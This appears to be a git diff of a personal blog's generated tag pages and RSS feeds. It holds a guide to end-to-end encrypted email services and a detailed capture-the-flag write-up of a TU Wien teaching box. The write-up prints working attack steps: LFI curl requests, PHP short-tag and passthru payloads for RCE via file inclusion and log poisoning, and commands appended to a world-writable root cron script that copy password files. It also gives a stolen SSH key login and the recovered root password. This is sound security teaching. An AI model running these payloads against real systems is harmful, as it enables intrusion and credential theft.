    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/trojan/page/1/index.html b/public-clearnet/tags/trojan/page/1/index.html new file mode 100644 index 0000000..fd2008b --- /dev/null +++ b/public-clearnet/tags/trojan/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/trojan/ + \ No newline at end of file diff --git a/public-clearnet/tags/tuta/index.html b/public-clearnet/tags/tuta/index.html new file mode 100644 index 0000000..2de07fd --- /dev/null +++ b/public-clearnet/tags/tuta/index.html @@ -0,0 +1,11 @@ +Tuta | AlipourIm journeys +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/tuta/index.xml b/public-clearnet/tags/tuta/index.xml new file mode 100644 index 0000000..f155ee8 --- /dev/null +++ b/public-clearnet/tags/tuta/index.xml @@ -0,0 +1,158 @@ +Tuta on AlipourIm journeyshttps://blog.alipour.eu/tags/tuta/Recent content in Tuta on AlipourIm journeysHugo -- 0.146.0enThu, 30 Oct 2025 00:00:00 +0000Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/tuta/page/1/index.html b/public-clearnet/tags/tuta/page/1/index.html new file mode 100644 index 0000000..af44d7e --- /dev/null +++ b/public-clearnet/tags/tuta/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/tuta/ + \ No newline at end of file diff --git a/public-clearnet/tags/tuwien/index.html b/public-clearnet/tags/tuwien/index.html new file mode 100644 index 0000000..6f570f1 --- /dev/null +++ b/public-clearnet/tags/tuwien/index.html @@ -0,0 +1,11 @@ +Tuwien | AlipourIm journeys +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    June 5, 2026 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/tuwien/index.xml b/public-clearnet/tags/tuwien/index.xml new file mode 100644 index 0000000..2ca7420 --- /dev/null +++ b/public-clearnet/tags/tuwien/index.xml @@ -0,0 +1,360 @@ +Tuwien on AlipourIm journeyshttps://blog.alipour.eu/tags/tuwien/Recent content in Tuwien on AlipourIm journeysHugo -- 0.146.0enFri, 05 Jun 2026 12:00:00 +0000A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
